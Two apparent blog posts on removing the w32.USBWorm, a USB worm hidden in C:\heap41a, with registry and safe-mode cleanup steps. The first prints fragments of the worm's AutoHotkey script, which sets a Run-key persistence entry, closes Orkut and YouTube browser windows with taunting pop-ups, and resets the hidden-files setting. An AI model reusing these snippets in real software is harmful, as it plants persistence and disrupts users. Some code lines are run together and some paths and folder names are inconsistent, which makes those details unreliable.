I have PE Tools installed in my PC i ran to find out the running process. I went through all the process and found out that svchost.exe was the one responsible for it. Where PE tools helped me was, svchost.exe was running from a location C:\heap41a . So this is where the worm resides, hmm interesting now deleting the folder would do our task. But it was not so easy, as I terminated this process svchost.exe from the process list it would start again. So I had to boot my XP in safe mode. Why in safe mode is because in safe mode windows loads only the minimum required drivers and doesn’t load any user process, so this means the worm is not started with the windows. Now I searched the folder C:\heap41b but it was hidden. I went to Tools>folder option and select Show all files and folders and pressed ok. I refreshed the c:\ only to find that it won’t show any hidden folders. I again went to the Tools>folder and found the setting of Show all files and folders was reseted. Now how do I see the content, what I did was went to windows search and in advanced option I gave search hidden files and folders and gave svchost.exe as the search keyword. Bang it searched it, so I opened the folder to find out this file was not alone, the other files in this Folder were [offspring], 2.mp3, Icon.ico, reproduce.txt, svchost.exe, drivelist.txt, script1.txt, std.txt . Lets see the content of these text files.

[offspring] - Blank Folder

2.mp3 - A laughing sound

Icon.ico - A blank Icon file

ArrayCount = 0
Loop, Read,C:\heap41a\driveList.txt
ArrayCount += 1
Array%ArrayCount% := A_LoopReadLine

Loop %ArrayCount%

element := Array%A_Index%



regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\ CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txtRegwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\ CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe

This is the file that is the culprit. The file responsible for all the annoying pop ups


WinGetActiveTitle, ed
winclose %ed%
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

winclose %ed%
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ifinstring,ed,Mozilla Firefox
winclose %ed%

ifwinactive ahk_class IEFrame
ControlGetText,ed,edit1,ahk_class IEFrame

winclose ahk_class IEFrame
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit2,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit3,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
ControlGetText,ed,edit4,ahk_class IEFrame
winclose ahk_classIEFrame
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit1,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit2,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit3,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

ControlGetText,ed,edit4,ahk_class IEFrame
winclose ahk_class IEFrame
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30

regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\ CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalueifnotequal,regdata,2

Run C:\heap41a\svchost.exe C:\heap41a\script1.txt
Run C:\heap41a\svchost.exe C:\heap41a\reproduce.txt

These files gave away all that this worm does, after reading the script I found out that this worm also hates Youtube lol.. Most important information it gave was the Registery Keys it modified.

These are the keys that were responsible for the hidden folder problem I faced earlier

regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\ CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalueifnotequal,regdata,2

Now to rectify this go to Start Menu>Run and type regedit . In the Registry Editor browse to this entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
and in the “Checked all” key reset it back to 1 from 2.

Now you can change the settings in the folders option.

Now delete the folder C:\heap41a and clear all the key entries from this registry entry HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
which says heap41a.

Now the virus infection is removed 100%. Before you are done make sure you format the usb drive it doesn’t infect other systems too.

All the best. Untill a tool is out for this worm, you can follow this method to remove w32.USBWorm.

I Dont Hate Mozilla! Orkut Is Banned!!

I was asked by my friend that he is the only user in his computer, his account is having administrative rights, but he is not able to open Orkut, and it says Orkut is banned. Another friend had told that he is not able to use Mozilla Firefox and it asks him to use Internet Explorer. I just told it must be some virus, but really didn't care much about that. But none of the antivirus software could detect or remove this malware.

My friend had given me a pen drive. I remembered it while browsing net on Firefox. When I put that in my PC and double clicked, it didn't open. I knew at once: I had activated a virus. But I didn't have any idea about the kind of virus that might have come to my PC, until I switched back to Firefox. Immediately a message box was displayed: I DNT HATE MOZILLA BUT USE IE OR ELSE... with title as USE INTERNET EXPLORER U DOPE. I just remembered the experiences of my friends. I tried to locate the virus by running the Task Manager. But there were no suspicious entries there. I had to bow the owner of the virus. I used Internet Explorer to search about it. The first entry in Google took me to the Mozilla Forum page, and after going through some pages, I came to know that the same virus also displayed another message when you opened Orkut. Orkut is banned you fool, The administrators didnt write this program guess who did?? MUHAHAHA!! with title ORKUT IS BANNED. Well, a similar message was displayed for YouTube also. So I went through all the posts, and finally found a solution given here:

Press CTRL+ALT+DEL and go to the processes tab

Look for svchost.exe under the image name. There will be many but look for the ones which have your username under the username

Press DEL to kill these files. It will give you a warning, Press Yes

Repeat for more svchost.exe files with your username and repeat. Do not kill svchost.exe with system, local service or network service!

Now open My Computer

In the address bar, type C:\heap41a and press enter. It is a hidden folder, and is not visible by default.

Delete all the files here

Now go to Start --> Run and type Regedit

Go to the menu Edit --> Find

Type "heap41a" here and press enter. You will get something like this "[winlogon] C:\heap41a\svchost.exe C:\heap(some number)\std.txt"

Select that and Press DEL. It will ask "Are you sure you wanna delete this value", click Yes

Now close the registry editor.

Now the virus is gone. But be sure to delete the autorun.inf file and any folder whose name ends with .exe in the pen drive.

It seems that they have named this malware as w32.USBWorm and according my friend, Avast is able to detect and remove it. I hope the other antivirus software will also be able to remove it soon.

This virus is not responsible for disabling Folder Options in the Tools Menu and not allowing hidden files to be shown. It is some other virus, and the solution is explained in the post Hidden Files Not Shown

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